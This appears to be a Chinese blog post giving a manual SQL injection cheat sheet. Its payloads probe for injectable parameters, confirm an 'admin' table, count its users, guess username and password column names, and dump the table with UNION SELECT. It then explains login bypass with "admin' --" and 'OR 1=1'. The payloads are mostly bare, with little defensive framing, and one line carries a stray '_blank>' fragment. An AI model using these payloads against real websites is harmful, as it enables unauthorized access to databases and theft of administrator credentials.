手工注入语句

1、判断注入存在:

' 存在错误

and 1=1  返回正确

and 1=2 返回错误

2、判断表:

and 0<>(select count(*) from admin)

3、判断用户数目

and n<(select count(*) from admin)

4、猜解字段名称

在len( ) 括号里面加上我们想到的字段名称

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5、 判断id值 

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

### 构建SQL注入语句 对于手工构造SQL注入语句,考虑一个登录验证场景下的SQL查询语句: ```sql SELECT * FROM users WHERE username='input_username' AND password='input_password'; ``` 如果`input_username`和`input_password`来自用户的输入而未经适当处理,则可以利用此漏洞。例如,用户提交如下数据作为用户名: ```plaintext admin' -- ``` 这里的两个连字符(`--`)标志着SQL注释的开始[^1]。 因此原始查询变为: ```sql SELECT * FROM users WHERE username='admin' -- ' AND password='any_input'; ``` 由于双连字符后面的内容被视为注释,所以实际上只执行了前面的部分,这意味着无论提供的密码是什么,只要用户名设置为上述模式,就可能绕过身份验证逻辑成功登录。 另一个例子涉及从URL参数获取ID的情况,像这样: ```plaintext http://example.com/article.php?id=5 ``` 对应的SQL可能是: ```sql SELECT title, content FROM articles WHERE id = $_GET['id']; ``` 假设攻击者修改URL为: ```plaintext http://example.com/article.php?id=5 OR 1=1 ``` 那么完整的SQL会变成: ```sql SELECT title, content FROM articles WHERE id = 5 OR 1=1; ``` 因为`OR 1=1`总是成立,这将返回表中所有的记录而不是仅仅指定编号的文章条目。 为了进一步探索数据库结构,还可以尝试联合查询(UNION SELECT),这是一种更为复杂的技巧,允许攻击者附加额外的选择子句来检索其他表格的信息。例如: ```sql ... UNION SELECT column_name(s) FROM another_table ... ``` 需要注意的是,成功的SQL注入不仅依赖于找到合适的入口点,还需要理解目标系统的内部工作原理以及所使用的具体RDBMS特性[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值